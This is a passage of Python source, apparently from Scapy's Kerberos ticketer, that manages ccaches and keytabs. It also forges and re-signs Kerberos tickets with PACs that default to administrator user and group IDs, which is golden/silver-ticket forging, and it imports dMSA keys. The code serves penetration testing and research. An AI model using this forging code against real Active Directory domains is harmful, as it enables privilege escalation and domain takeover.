intended?\"\n                    )\n        key = Key(etype=etype, cksumtype=cksumtype, key=hash)\n        self.hashes_cache[spn][hashtype] = hash\n        if key and etype and key.cksumtype:\n            self.hashes_cache[spn][_KRB_S_TYPES[key.cksumtype]] = hash\n        return key\n\n    def dec_ticket(self, i, key=None, hash=None):\n        \"\"\"\n        Get the decrypted ticket by credentials ID\n        \"\"\"\n        cred = self.ccache.credentials[i]\n        tkt = KRB_Ticket(cred.ticket.data)\n        if key is None:\n            key = self._prompt_hash(\n                tkt.getSPN(),\n                etype=tkt.encPart.etype.val,\n                hash=hash,\n            )\n        try:\n            return tkt.encPart.decrypt(key)\n        except Exception:\n            try:\n                del self.hashes_cache[tkt.getSPN()]\n            except IndexError:\n                pass\n            raise\n\n    def update_ticket(self, i, decTkt, resign=False, hash=None, kdc_hash=None):\n        \"\"\"\n        Update a decrypted ticket by credentials ID\n        \"\"\"\n        # Get CCCredential\n        cred = self.ccache.credentials[i]\n        tkt = KRB_Ticket(cred.ticket.data)\n\n        # Optional: resign the new ticket\n        if resign:\n            # resign the ticket\n            decTkt = self._resign_ticket(\n                decTkt,\n                tkt.getSPN(),\n                hash=hash,\n                kdc_hash=kdc_hash,\n            )\n\n        # Encrypt the new ticket\n        key = self._prompt_hash(\n            tkt.getSPN(),\n            etype=tkt.encPart.etype.val,\n            hash=hash,\n        )\n        tkt.encPart.encrypt(key, bytes(decTkt))\n\n        # Update the CCCredential with the new ticket\n        cred.set_from_krb(\n            tkt,\n            decTkt,\n            decTkt.key.toKey(),\n            decTkt,\n        )\n\n    def remove_krb(self, i):\n        \"\"\"\n        Remove a ticket from the store.\n\n        :param i: the ticket to remove.\n        \"\"\"\n        cred = self.ccache.credentials[i]\n        xcacheconfs = self.get_krb_xcacheopts(i)\n\n        # Delete from the store\n        del self.ccache.credentials[i]\n\n        # Among the remaining, do we have an option that's identical in name?\n        if any(\n            not xcred.is_xcacheconf()\n            and xcred.client.toPN() == cred.client.toPN()\n            and xcred.server.toPN() == cred.server.toPN()\n            for xcred in self.ccache.credentials\n        ):\n            # There is another ticket with the same client and server names. Stop here\n            return\n\n        # There isno ticket exactly the same, remove all the xcacheconf that match\n        for xcred in xcacheconfs:\n            self.ccache.credentials.remove(xcred)\n\n        # If this was the primary principal, remove from there\n        if cred.client.toPN() == self.ccache.primary_principal.toPN():\n            self.ccache.primary_principal = CCPrincipal()\n\n    def import_krb(self, res, key=None, hash=None, _inplace=None):\n        \"\"\"\n        Import the result of krb_[tgs/as]_req or a Ticket into the CCache.\n\n        :param obj: a KRB_Ticket object or a AS_REP/TGS_REP object\n        :param sessionkey: the session key that comes along the ticket\n        \"\"\"\n        # Instantiate CCCredential\n        if _inplace is not None:\n            cred = self.ccache.credentials[_inplace]\n        else:\n            cred = CCCredential()\n\n        # Update the cred\n        xcacheconfs = {}\n        if isinstance(res, KRB_Ticket):\n            if key is None:\n                key = self._prompt_hash(\n                    res.getSPN(),\n                    etype=res.encPart.etype.val,\n                    hash=hash,\n                )\n            decTkt = res.encPart.decrypt(key)\n            cred.set_from_krb(\n                res,\n                decTkt,\n                decTkt.key.toKey(),\n                decTkt,\n            )\n        else:\n            if isinstance(res, KerberosClient.RES_AS_MODE):\n                rep = res.asrep\n                pa_type = res.pa_type\n                if pa_type is not None:\n                    xcacheconfs[\"pa_type\"] = str(pa_type)\n                if pa_type in [138]:\n                    xcacheconfs[\"fast_avail\"] = \"yes\"\n            elif isinstance(res, KerberosClient.RES_TGS_MODE):\n                rep = res.tgsrep\n\n                # There could be 171 = KERB_DMSA_KEY_PACKAGE to import\n                for padata in res.kdcrep.encryptedPaData:\n                    if padata.padataType == 171:\n                        # We have keys to import.\n                        key_package = padata.padataValue\n                        for key in key_package.currentKeys:\n                            self.add_cred(\n                                principal=rep.getUPN(),\n                                key=key.toKey(),\n                            )\n                        log_interactive.info(\n                            \"%s DMSA keys found and imported !\"\n                            % len(key_package.currentKeys)\n                        )\n            else:\n                raise ValueError(\"Unknown type of obj !\")\n\n            cred.set_from_krb(\n                rep.ticket,\n                rep,\n                res.sessionkey,\n                res.kdcrep,\n            )\n\n        # Append to ccache\n        if _inplace is None:\n            _inplace = sum(\n                1 for xcred in self.ccache.credentials if not xcred.is_xcacheconf()\n            )\n            self.ccache.credentials.insert(_inplace, cred)\n\n        # If this is the first credential, set it to primary\n        if len(self.ccache.credentials) == 1:\n            self.set_primary(_inplace)\n\n        # For MIT kinit to be happy, we must provide extra options for the credential\n        for key, value in xcacheconfs.items():\n            self.set_krb_xcacheconf(_inplace, key, value)\n\n    def set_primary(self, i):\n        \"\"\"\n        Set the primary (=default) credential to the credential n°1\n        \"\"\"\n        self.ccache.primary_principal = self.ccache.credentials[i].client\n\n    def get_krb_xcacheopts(self, i: int):\n        \"\"\"\n        Get the X-CACHECONF config for a credential\n        \"\"\"\n        cred = self.ccache.credentials[i]\n        cname = cred.client.toPN()\n        sname = cred.server.toPN().encode()\n        return [\n            xcred\n            for xcred in self.ccache.credentials\n            if (\n                xcred.is_xcacheconf()\n                and xcred.client.toPN() == cname\n                and (\n                    len(xcred.server.components) == 2\n                    or xcred.server.components[2].data == sname\n                )\n            )\n        ]\n\n    def set_krb_xcacheconf(self, i: int, key: str, value: str):\n        \"\"\"\n        Set a X-CACHECONF config for a credential\n        \"\"\"\n        key = key.encode()\n        value = value.encode()\n        cred = self.ccache.credentials[i]\n        sname = cred.server.toPN().encode()\n\n        # First we look for a potential credential, if present\n        try:\n            conf_cred = next(\n                xcred\n                for xcred in self.get_krb_xcacheopts(i)\n                if xcred.server.components[1].data == key\n            )\n        except StopIteration:\n            conf_cred = CCCredential(\n                client=cred.client,\n                server=CCPrincipal(\n                    name_type=1,\n                    realm=CCCountedOctetString(data=b\"X-CACHECONF:\"),\n                    components=[\n                        CCCountedOctetString(data=b\"krb5_ccache_conf_data\"),\n                        CCCountedOctetString(data=key),\n                        CCCountedOctetString(data=sname),\n                    ],\n                ),\n            )\n            self.ccache.credentials.append(conf_cred)\n\n        # Set value\n        conf_cred.ticket = CCCountedOctetString(data=value)\n\n    def export_krb(self, i):\n        \"\"\"\n        Export a full ticket, session key, UPN and SPN.\n        \"\"\"\n        cred = self.ccache.credentials[i]\n        return (\n            KRB_Ticket(cred.ticket.data),\n            cred.keyblock.toKey(),\n            cred.client.toPN(),\n            cred.server.toPN(),\n        )\n\n    def add_cred(\n        self,\n        principal,\n        mapupn=None,\n        password=None,\n        salt=None,\n        key=None,\n        etypes=None,\n        kvno=None,\n    ):\n        \"\"\"\n        Add a credential to the Keytab.\n        \"\"\"\n        if password and key:\n            raise ValueError(\"Please provide 'password' OR 'key'.\")\n        elif not password and not key:\n            try:\n                from prompt_toolkit import prompt\n\n                password = prompt(\"Enter password: \", is_password=True)\n            except ImportError:\n                password = input(\"Enter password: \")\n\n        # If we have a mapupn, use it to retrieve the salt.\n        if salt is None and mapupn is not None:\n            salt = krb_get_salt(mapupn)\n\n        # Detect if principal is a SPN or UPN and parse realm.\n        realm = None\n        princname = None\n        try:\n            _, realm = _parse_upn(principal)\n            if salt is None and key is None:\n                salt = krb_get_salt(principal)\n            princname = PrincipalName.fromSPN(principal)\n        except ValueError:\n            try:\n                _, realm = _parse_spn(principal)\n                princname = PrincipalName.fromSPN(principal)\n            except ValueError:\n                raise ValueError(\"Invalid principal ! (must be UPN or SPN)\")\n\n        if not realm:\n            raise ValueError(\"Must provide the realm in the principal ! (with @DOMAIN)\")\n\n        if salt is None and key is None:\n            raise ValueError(\n                \"Salt could not be guessed. Please provide it, or provide 'mapupn' \"\n                \"pointing towards the UPN of the user.\"\n            )\n\n        # If password is provided, derive the keys.\n        if password:\n            from scapy.libs.rfc3961 import Key, EncryptionType\n\n            if etypes is None:\n                etypes = [EncryptionType.AES256_CTS_HMAC_SHA1_96]\n            elif etypes == \"all\":\n                etypes = [\n                    EncryptionType.AES128_CTS_HMAC_SHA1_96,\n                    EncryptionType.AES256_CTS_HMAC_SHA1_96,\n                    EncryptionType.RC4_HMAC,\n                ]\n\n            # For each etype, recurse.\n            for etype in etypes:\n                self.add_cred(\n                    principal,\n                    key=Key.string_to_key(\n                        etype,\n                        password.encode(),\n                        salt=salt,\n                    ),\n                )\n            return\n\n        # Get available kvno\n        if kvno is None:\n            try:\n                kvno = max(x.versionNumber for x in self.keytab.entries) + 1\n            except ValueError:\n                kvno = 1\n\n        # Just add it.\n        self.keytab.entries.append(\n            KeytabEntry(\n                realm=KTCountedOctetString(\n                    data=realm,\n                ),\n                components=[\n                    KTCountedOctetString(\n                        data=x.val,\n                    )\n                    for x in princname.nameString\n                ],\n                timestamp=int(datetime.now().timestamp()),\n                name_type=princname.nameType.val,\n                vno8=kvno,\n                key=KTKeyBlock(\n                    keytype=key.etype,\n                    keyvalue=key.key,\n                ),\n                vno=kvno,\n                _parent=self.keytab,\n            )\n        )\n\n    def get_cred(self, principal, etype=None):\n        \"\"\"\n        Get credential from the Keytab by principal.\n        \"\"\"\n        for entry in self.keytab.entries:\n            if entry.getPrincipal() == principal:\n                if etype is not None and etype != entry.key.keytype:\n                    continue\n                return entry.key.toKey()\n        raise ValueError(\n            \"Principal not found in keytab ! \"\n            \"Note principals are case sensitive, as on ktpass.exe\"\n        )\n\n    def remove_cred(self, principal, etype=None):\n        \"\"\"\n        Remove a credential from the Keytab by principal.\n        \"\"\"\n        for i, entry in enumerate(self.keytab.entries):\n            if entry.getPrincipal() == principal:\n                if etype is not None and etype != entry.key.keytype:\n                    continue\n                del self.keytab.entries[i]\n\n    def ssp(self, i, **kwargs):\n        \"\"\"\n        Create a KerberosSSP from a ticket or from the keystore.\n\n        :param i: index of the ticket to use from ccache (client)\n                  OR SPN of the key to use from the keystore (server)\n        \"\"\"\n        if isinstance(i, int):\n            ticket, sessionkey, upn, spn = self.export_krb(i)\n            if spn.startswith(\"krbtgt/\"):\n                # It's a TGT\n                kwargs.setdefault(\"SPN\", None)  # Use target_name only\n                return KerberosSSP(\n                    TGT=ticket,\n                    KEY=sessionkey,\n                    UPN=upn,\n                    **kwargs,\n                )\n            else:\n                # It's a ST\n                return KerberosSSP(\n                    ST=ticket,\n                    KEY=sessionkey,\n                    UPN=upn,\n                    SPN=spn,\n                    **kwargs,\n                )\n        elif isinstance(i, str):\n            spn = i\n            key = self.get_cred(spn)\n            return KerberosSSP(\n                SPN=spn,\n                KEY=key,\n                **kwargs,\n            )\n        else:\n            raise ValueError(\"Invalid 'i' value. Must be int or str\")\n\n    def _add_cred(self, decTkt, hash=None, kdc_hash=None):\n        \"\"\"\n        Add a decoded ticket to the CCache\n        \"\"\"\n        cred = CCCredential()\n        etype = (\n            self._prompt(\n                \"What key should we use (AES128-CTS-HMAC-SHA1-96/AES256-CTS-HMAC-SHA1-96/RC4-HMAC) ? [AES256-CTS-HMAC-SHA1-96]: \"\n            )\n            or \"AES256-CTS-HMAC-SHA1-96\"\n        )\n        if etype not in _KRB_E_TYPES.values():\n            print(\"Unknown keytype\")\n            return\n        etype = next(k for k, v in _KRB_E_TYPES.items() if v == etype)\n        cred.ticket.data = bytes(\n            KRB_Ticket(\n                realm=decTkt.crealm,\n                sname=PrincipalName(\n                    nameString=[\n                        ASN1_GENERAL_STRING(b\"krbtgt\"),\n                        decTkt.crealm,\n                    ],\n                    nameType=ASN1_INTEGER(2),  # NT-SRV-INST\n                ),\n                encPart=EncryptedData(\n                    etype=etype,\n                ),\n            )\n        )\n        self.ccache.credentials.append(cred)\n        self.update_ticket(\n            len(self.ccache.credentials) - 1,\n            decTkt,\n            resign=True,\n            hash=hash,\n            kdc_hash=kdc_hash,\n        )\n\n    def create_ticket(self, **kwargs):\n        \"\"\"\n        Create a Kerberos ticket\n        \"\"\"\n        user = kwargs.get(\"user\", self._prompt(\"User [User]: \") or \"User\")\n        domain = kwargs.get(\n            \"domain\", (self._prompt(\"Domain [DOM.LOCAL]: \") or \"DOM.LOCAL\").upper()\n        )\n        domain_sid = kwargs.get(\n            \"domain_sid\",\n            self._prompt(\"Domain SID [S-1-5-21-1-2-3]: \") or \"S-1-5-21-1-2-3\",\n        )\n        group_ids = kwargs.get(\n            \"group_ids\",\n            [\n                int(x.strip())\n                for x in (\n                    self._prompt(\"Group IDs [513, 512, 520, 518, 519]: \")\n                    or \"513, 512, 520, 518, 519\"\n                ).split(\",\")\n            ],\n        )\n        user_id = kwargs.get(\"user_id\", int(self._prompt(\"User ID [500]: \") or \"500\"))\n        primary_group_id = kwargs.get(\n            \"primary_group_id\", int(self._prompt(\"Primary Group ID [513]: \") or \"513\")\n        )\n        extra_sids = kwargs.get(\"extra_sids\", None)\n        if extra_sids is None:\n            extra_sids = self._prompt(\"Extra SIDs [] :\") or []\n            if extra_sids:\n                extra_sids = [x.strip() for x in extra_sids.split(\",\")]\n        duration = kwargs.get(\n            \"duration\", int(self._prompt(\"Expires in (h) [10]: \") or \"10\")\n        )\n        now_time = datetime.now(timezone.utc).replace(microsecond=0)\n        rand = random.SystemRandom()\n        key = Key.random_to_key(\n            EncryptionType.AES256_CTS_HMAC_SHA1_96, rand.randbytes(32)\n        )\n        store = {\n            # KRB\n            \"flags\": ASN1_BIT_STRING(\"01000000111000010000000000000000\"),\n            \"key\": {\n                \"keytype\": ASN1_INTEGER(key.etype),\n                \"keyvalue\": ASN1_STRING(key.key),\n            },\n            \"crealm\": ASN1_GENERAL_STRING(domain),\n            \"cname\": {\n                \"nameString\": [ASN1_GENERAL_STRING(user)],\n                \"nameType\": ASN1_INTEGER(1),\n            },\n            \"authtime\": ASN1_GENERALIZED_TIME(now_time),\n            \"starttime\": ASN1_GENERALIZED_TIME(now_time + timedelta(hours=duration)),\n            \"endtime\": ASN1_GENERALIZED_TIME(now_time + timedelta(hours=duration)),\n            \"renewTill\": ASN1_GENERALIZED_TIME(now_time + timedelta(hours=duration)),\n            # PAC\n            # Validation info\n            \"VI.LogonTime\": self._time_to_filetime(now_time.timestamp()),\n            \"VI.LogoffTime\": self._time_to_filetime(\"NEVER\"),\n            \"VI.KickOffTime\": self._time_to_filetime(\"NEVER\"),\n            \"VI.PasswordLastSet\": self._time_to_filetime(\n                (now_time - timedelta(hours=10)).timestamp()\n            ),\n            \"VI.PasswordCanChange\": self._time_to_filetime(0),\n            \"VI.PasswordMustChange\": self._time_to_filetime(\"NEVER\"),\n            \"VI.EffectiveName\": user,\n            \"VI.FullName\": \"\",\n            \"VI.LogonScript\": \"\",\n            \"VI.ProfilePath\": \"\",\n            \"VI.HomeDirectory\": \"\",\n            \"VI.HomeDirectoryDrive\": \"\",\n            \"VI.UserSessionKey\": b\"\\x00\" * 16,\n            \"VI.LogonServer\": \"\",\n            \"VI.LogonDomainName\": domain.rsplit(\".\", 1)[0],\n            \"VI.LogonCount\": 70,\n            \"VI.BadPasswordCount\": 0,\n            \"VI.UserId\": user_id,\n            \"VI.PrimaryGroupId\": primary_group_id,\n            \"VI.GroupIds\": [\n                {\n                    \"RelativeId\": x,\n                    \"Attributes\": 7,\n                }\n                for x in group_ids\n            ],\n            \"VI.UserFlags\": 32,\n            \"VI.LogonDomainId\": domain_sid,\n            \"VI.UserAccountControl\": 128,\n            \"VI.ExtraSids\": [{\"Sid\": x, \"Attributes\": 7} for x in extra_sids],\n            \"VI.ResourceGroupDomainSid\": None,\n            \"VI.ResourceGroupIds\": [],\n            # Pac Client infos\n            \"CI.ClientId\": self._utc_to_mstime(now_time.timestamp()),\n            \"CI.Name\": user,\n            # UPN DNS Info\n            \"UPNDNS.Flags\": 3,\n            \"UPNDNS.Upn\": \"%s@%s\" % (user, domain.lower()),\n            \"UPNDNS.DnsDomainName\": domain.upper(),\n            \"UPNDNS.SamName\": user,\n            \"UPNDNS.Sid\": \"%s-%s\" % (domain_sid, user_id),\n            # Client Claims\n            \"CC.ClaimsArrays\": [\n                {\n                    \"ClaimsSourceType\": 1,\n                    \"ClaimEntries\": [\n                        {\n                            \"Id\": \"ad://ext/AuthenticationSilo\",\n                            \"Type\": 3,\n                            \"StringValues\": \"T0-silo\",\n                        }\n                    ],\n                }\n            ],\n            # Attributes Info\n            \"AI.Flags\": \"PAC_WAS_REQUESTED\",\n            # Requestor\n            \"REQ.Sid\": \"%s-%s\" % (domain_sid, user_id),\n            # Server Checksum\n            \"SC.SignatureType\": 16,\n            \"SC.Signature\": b\"\\x00\" * 12,\n            \"SC.RODCIdentifier\": b\"\",\n            # KDC Checksum\n            \"KC.SignatureType\": 16,\n            \"KC.Signature\": b\"\\x00\" * 12,\n            \"KC.RODCIdentifier\": b\"\",\n            # Ticket Checksum\n            \"TKT.SignatureType\": -1,\n            \"TKT.Signature\": b\"\\x00\" * 12,\n            \"TKT.RODCIdentifier\": b\"\",\n            # Extended KDC Checksum\n            \"EXKC.SignatureType\": -1,\n            \"EXKC.Signature\": b\"\\x00\" * 12,\n            \"EXKC.RODCIdentifier\": b\"\",\n        }\n        # Build & store ticket\n        tkt = self._build_ticket(store)\n        self._add_cred(tkt)\n\n    def _build_sid(self, sidstr, msdn=False):\n        if not sidstr:\n            return None\n        m = re.match(r\"S-(\\d+)-(\\d+)-?((?:\\d+-?)*)\", sidstr.strip())\n        if not m:\n            raise ValueError(\"Invalid SID format: %s\" % sidstr)\n        subauthors = []\n        if m.group(3):\n            subauthors = [int(x) for x in m.group(3).split(\"-\")]\n        if msdn:\n            return WINNT_SID(\n                Revision=int(m.group(1)),\n                IdentifierAuthority=WINNT_SID_IDENTIFIER_AUTHORITY(\n                    Value=struct.pack(\">Q\", int(m.group(2)))[2:],\n                ),\n                SubAuthority=subauthors,\n            )\n        else:\n            return SID(\n                Revision=int(m.group(1)),\n                IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY(\n                    Value=struct.pack(\">Q\", int(m.group(2)))[2:]\n                ),\n                SubAuthority=subauthors,\n            )\n\n    def _build_ticket(self, store):\n        if store[\"CC.ClaimsArrays\"]:\n            claimSet = CLAIMS_SET(\n                ndr64=False,\n                ClaimsArrays=[\n                    CLAIMS_ARRAY(\n                        usClaimsSourceType=ca[\"ClaimsSourceType\"],\n                        ClaimEntries=[\n                            CLAIM_ENTRY(\n                                Id=ce[\"Id\"],\n                                Type=ce[\"Type\"],\n                                Values=NDRUnion(\n                                    tag=ce[\"Type\"],\n                                    value=CLAIM_ENTRY_sub2(\n                                        ValueCount=ce[\"StringValues\"].count(\";\") + 1,\n                                        StringValues=ce[\"StringValues\"].split(\";\"),\n                                    ),\n                                ),\n                            )\n                            for ce in ca[\"ClaimEntries\"]\n                        ],\n                    )\n                    for ca in store[\"CC.ClaimsArrays\"]\n                ],\n                usReservedType=0,\n                ulReservedFieldSize=0,\n                ReservedField=None,\n            )\n        else:\n            claimSet = None\n        _signature_set = lambda x: store[x + \".SignatureType\"] != -1\n        return EncTicketPart(\n            transited=TransitedEncoding(\n                trType=ASN1_INTEGER(0), contents=ASN1_STRING(b\"\")\n            ),\n            addresses=None,\n            flags=store[\"flags\"],\n            key=EncryptionKey(\n                keytype=store[\"key\"][\"keytype\"],\n                keyvalue=store[\"key\"][\"keyvalue\"],\n            ),\n            crealm=store[\"crealm\"],\n            cname=PrincipalName(\n                nameString=store[\"cname\"][\"nameString\"],\n                nameType=store[\"cname\"][\"nameType\"],\n            ),\n            authtime=store[\"authtime\"],\n            starttime=store[\"starttime\"],\n            endtime=store[\"endtime\"],\n            renewTill=store[\"renewTill\"],\n            authorizationData=AuthorizationData(\n                seq=[\n                    AuthorizationDataItem(\n                        adType=ASN1_INTEGER(1),\n                        adData=AuthorizationData(\n                            seq=[\n                                AuthorizationDataItem(\n                                    adType=\"AD-WIN2K-PAC\",\n                                    adData=PACTYPE(\n                                        Buffers=[\n                                            PAC_INFO_BUFFER(\n                                                ulType=\"Logon information\",\n                                            ),\n                                        ]\n                                        + (\n                                            [\n                                                PAC_INFO_BUFFER(\n                                                    ulType=\"Server Signature\",\n                                                ),\n                                            ]\n                                            if _signature_set(\"SC\")\n                                            else []\n                                        )\n                                        + (\n                                            [\n                                                PAC_INFO_BUFFER(\n                                                    ulType=\"KDC Signature\",\n                                                ),\n                                            ]\n                                            if _signature_set(\"KC\")\n                                            else []\n                                        )\n                                        + [\n                                            PAC_INFO_BUFFER(\n                                                ulType=\"Client name and ticket information\",\n                                            ),\n                                            PAC_INFO_BUFFER(\n                                                ulType=\"UPN and DNS information\",\n                                            ),\n                                        ]\n                                        + (\n                                            [\n                                                PAC_INFO_BUFFER(\n                                                    ulType=\"Client claims information\",\n                                                ),\n                                            ]\n                                            if claimSet\n                                            else []\n                                        )\n                                        + (\n                                            [\n                                                PAC_INFO_BUFFER(\n                                                    ulType=\"PAC Attributes\",\n                                                ),\n                                            ]\n                                            if store[\"AI.Flags\"]\n                                            else []\n                                        )\n                                        + (\n                                            [\n                                                PAC_INFO_BUFFER(\n                                                    ulType=\"PAC Requestor\",\n                                                ),\n                                            ]\n                                            if store[\"REQ.Sid\"]\n                                            else []\n                                        )\n                                        + (\n                                            [\n                                                PAC_INFO_BUFFER(\n                                                    ulType=\"Ticket Signature\",\n                                                ),\n                                            ]\n                                            if _signature_set(\"TKT\")\n                                            else []\n                                        )\n                                        + (\n                                            [\n                                                PAC_INFO_BUFFER(\n                                                    ulType=\"Extended KDC Signature\",\n                                                ),\n                                            ]\n                                            if _signature_set(\"EXKC\")\n                                            else []\n                                        ),\n                                        Payloads=[\n                                            KERB_VALIDATION_INFO(\n                                                ndr64=False,\n                                                ndrendian=\"little\",\n                                                LogonTime=store[\"VI.LogonTime\"],\n                                                LogoffTime=store[\"VI.LogoffTime\"],\n                                                KickOffTime=store[\"VI.KickOffTime\"],\n                                                PasswordLastSet=store[\n                                                    \"VI.PasswordLastSet\"\n                                                ],\n                                                PasswordCanChange=store[\n                                                    \"VI.PasswordCanChange\"\n                                                ],\n                                                PasswordMustChange=store[\n                                                    \"VI.PasswordMustChange\"\n                                                ],\n                                                EffectiveName=RPC_UNICODE_STRING(\n                                                    Buffer=store[\"VI.EffectiveName\"],\n                                                ),\n                                                FullName=RPC_UNICODE_STRING(\n                                                    Buffer=store[\"VI.FullName\"],\n                                                ),\n                                                LogonScript=RPC_UNICODE_STRING(\n                                                    Buffer=store[\"VI.LogonScript\"],\n                                                ),\n                                                ProfilePath=RPC_UNICODE_STRING(\n                                                    Buffer=store[\"VI.ProfilePath\"],\n                                                ),\n                                                HomeDirectory=RPC_UNICODE_STRING(\n                                                    Buffer=store[\"VI.HomeDirectory\"],\n                                                ),\n                                                HomeDirectoryDrive=RPC_UNICODE_STRING(\n                                                    Buffer=store[\n                                                        \"VI.HomeDirectoryDrive\"\n                                                    ],\n                                                ),\n                                                UserSessionKey=USER_SESSION_KEY(\n                                                    data=[\n                                                        CYPHER_BLOCK(\n                                                            data=store[\n                                                                \"VI.UserSessionKey\"\n                                                            ][:8]\n                                                        ),\n                                                        CYPHER_BLOCK(\n                                                            data=store[\n                                                                \"VI.UserSessionKey\"\n                                                            ][8:]\n                                                        ),\n                                                    ]\n                                                ),\n                                                LogonServer=RPC_UNICODE_STRING(\n                                                    Buffer=store[\"VI.LogonServer\"],\n                                                ),\n                                                LogonDomainName=RPC_UNICODE_STRING(\n                                                    Buffer=store[\"VI.LogonDomainName\"],\n                                                ),\n                                                LogonCount=store[\"VI.LogonCount\"],\n                                                BadPasswordCount=store[\n                                                    \"VI.BadPasswordCount\"\n                                                ],\n                                                UserId=store[\"VI.UserId\"],\n                                                PrimaryGroupId=store[\n                                                    \"VI.PrimaryGroupId\"\n                                                ],\n                                                GroupIds=[\n                                                    GROUP_MEMBERSHIP(\n                                                        RelativeId=x[\"RelativeId\"],\n                                                        Attributes=x[\"Attributes\"],\n                                                    )\n                                                    for x in store[\"VI.GroupIds\"]\n                                                ],\n                                                UserFlags=store[\"VI.UserFlags\"],\n                                                LogonDomainId=self._build_sid(\n                                                    store[\"VI.LogonDomainId\"]\n                                                ),\n                                                Reserved1=[0, 0],\n                                                UserAccountControl=store[\n                                                    \"VI.UserAccountControl\"\n                                                ],\n                                                Reserved3=[0, 0, 0, 0, 0, 0, 0],\n                                                ExtraSids=(\n                                                    [\n                                                        KERB_SID_AND_ATTRIBUTES(\n                                                            Sid=self._build_sid(\n                                                                x[\"Sid\"]\n                                                            ),\n                                                            Attributes=x[\"Attributes\"],\n                                                        )\n                                                        for x in store[\"VI.ExtraSids\"]\n                                                    ]\n                                                    if store[\"VI.ExtraSids\"]\n                                                    else None\n                                                ),\n                                                ResourceGroupDomainSid=self._build_sid(\n                                                    store[\"VI.ResourceGroupDomainSid\"]\n                                                ),\n                                                ResourceGroupIds=(\n                                                    [\n                                                        GROUP_MEMBERSHIP(\n                                                            RelativeId=x[\"RelativeId\"],\n                                                            Attributes=x[\"Attributes\"],\n                                                        )\n                                                        for x in store[\n                                                            \"VI.ResourceGroupIds\"\n                                                        ]\n                                                    ]\n                                                    if store[\"VI.ResourceGroupIds\"]\n                                                    else None\n                                                ),\n                                            ),\n                                        ]\n                                        + (\n                                            [\n                                                PAC_SIGNATURE_DATA(\n                                                    SignatureType=store[\n                                                        \"SC.SignatureType\"\n                                                    ],\n                                                    Signature=store[\"SC.Signature\"],\n                                                    RODCIdentifier=store[\n                                                        \"SC.RODCIdentifier\"\n                                                    ],\n                                                ),\n                                            ]\n                                            if _signature_set(\"SC\")\n                                            else []\n                                        )\n                                        + (\n                                            [\n                                                PAC_SIGNATURE_DATA(\n                                                    SignatureType=store[\n                                                        \"KC.SignatureType\"\n                                                    ],\n                                                    Signature=store[\"KC.Signature\"],\n                                                    RODCIdentifier=store[\n                                                        \"KC.RODCIdentifier\"\n                                                    ],\n                                                ),\n                                            ]\n                                            if _signature_set(\"KC\")\n                                            else []\n                                        )\n                                        + [\n                                            PAC_CLIENT_INFO(\n                                                ClientId=store[\"CI.ClientId\"],\n                                                Name=store[\"CI.Name\"],\n                                            ),\n                                            UPN_DNS_INFO(\n                                                Flags=store[\"UPNDNS.Flags\"],\n                                                Payload=[\n                                                    (\n                                                        \"Upn\",\n                                                        store[\"UPNDNS.Upn\"],\n                                                    ),\n                                                    (\n                                                        \"DnsDomainName\",\n                                                        store[\"UPNDNS.DnsDomainName\"],\n                                                    ),\n                                                    (\n                                                        \"SamName\",\n                                                        store[\"UPNDNS.SamName\"],\n                                                    ),\n                                                    (\n                                                        \"Sid\",\n                                                        self._build_sid(\n                                                            store[\"UPNDNS.Sid\"],\n                                                            msdn=True,\n                                                        ),\n                                                    ),\n                                                ],\n                                            ),\n                                        ]\n                                        + (\n                                            [\n                                                PAC_CLIENT_CLAIMS_INFO(\n                                                    ndr64=False,\n                                                    Claims=CLAIMS_SET_METADATA(\n                                                        ClaimsSet=[\n                                                            claimSet,\n                                                        ],\n                                                        usCompressionFormat=0,\n                                                        usReservedType=0,\n                                                        ulReservedFieldSize=0,\n                                                        ReservedField=None,\n                                                    ),\n                                                ),\n                                            ]\n                                            if claimSet\n                                            else []\n                                        )\n                                        + (\n                                            [\n                                                PAC_ATTRIBUTES_INFO(\n                                                    Flags=[store[\"AI.Flags\"]],\n                                                    FlagsLength=2,\n                                                )\n                                            ]\n                                            if store[\"AI.Flags\"]\n                                            else []\n                                        )\n                                        + (\n                                            [\n                                                PAC_REQUESTOR_SID(\n                                                    Sid=self._build_sid(\n                                                        store[\"REQ.Sid\"], msdn=True\n                                                    ),\n                                                ),\n                                            ]\n                                            if store[\"REQ.Sid\"]\n                                            else []\n                                        )\n                                        + (\n                                            [\n                                                PAC_SIGNATURE_DATA(\n                                                    SignatureType=store[\n                                                        \"TKT.SignatureType\"\n                                                    ],\n                                                    Signature=store[\"TKT.Signature\"],\n                                                    RODCIdentifier=store[\n                                                        \"TKT.RODCIdentifier\"\n                                                    ],\n                                                ),\n                                            ]\n                                            if _signature_set(\"TKT\")\n                                            else []\n                                        )\n                                        + (\n                                            [\n                                                PAC_SIGNATURE_DATA(\n                                                    SignatureType=store[\n                                                        \"EXKC.SignatureType\"\n                                                    ],\n                                                    Signature=store[\"EXKC.Signature\"],\n                                                    RODCIdentifier=store[\n                                                        \"EXKC.RODCIdentifier\"\n                                                    ],\n                                                )\n                                            ]\n                                            if _signature_set(\"EXKC\")\n                                            else []\n                                        ),\n                                    ),\n                                )\n                            ]\n                        ),\n                    )\n                ]\n            ),\n        )\n\n    def _make_fields(self, element, fields, datastore=None):\n        frm = ttk.Frame(element)\n        frm.pack(fill=\"x\")\n        for i, fld in enumerate(fields):\n            (self._data if datastore is None else datastore)[fld[0]] = v = tk.StringVar(\n                frm, value=fld[1]\n            )\n            ttk.Label(frm, text=fld[0]).grid(row=i, column=0, sticky=\"w\")\n            ttk.Entry(frm, textvariable=v).grid(row=i, column=1, sticky=\"e\")\n        frm.grid_columnconfigure(1, weight=1)\n\n    def _make_checkbox(self, element, keys, flags, datastore):\n        for flg in keys:\n            datastore[flg] = v = tk.BooleanVar(value=flg in flags)\n            tk.Checkbutton(element, text=flg, variable=v, anchor=tk.W).pack(\n                fill=\"x\", padx=5, pady=1\n            )\n\n    def _make_table(self, element, name, headers, lst, datastore=None):\n        wrap = ttk.LabelFrame(element, text=name)\n        tree = ttk.Treeview(wrap, column=headers, show=\"headings\", height=4)\n        vsb = ttk.Scrollbar(wrap, orient=\"vertical\", command=tree.yview)\n        vsb.pack(side=\"right\", fill=\"y\")\n        tree.configure(yscrollcommand=vsb.set)\n        for h in headers:\n            tree.column(h, anchor=tk.CENTER)\n            tree.heading(h, text=h)\n        for i, row in enumerate(lst):\n            tree.insert(parent=\"\", index=\"end\", iid=i, values=row)\n        tree.pack(fill=\"x\", padx=10, pady=10)\n\n        def _update_datastore():\n            children = [tree.item(x, \"values\") for x in tree.get_children()]\n            (self._data if datastore is None else datastore)[name] = children\n\n        _update_datastore()\n\n        class 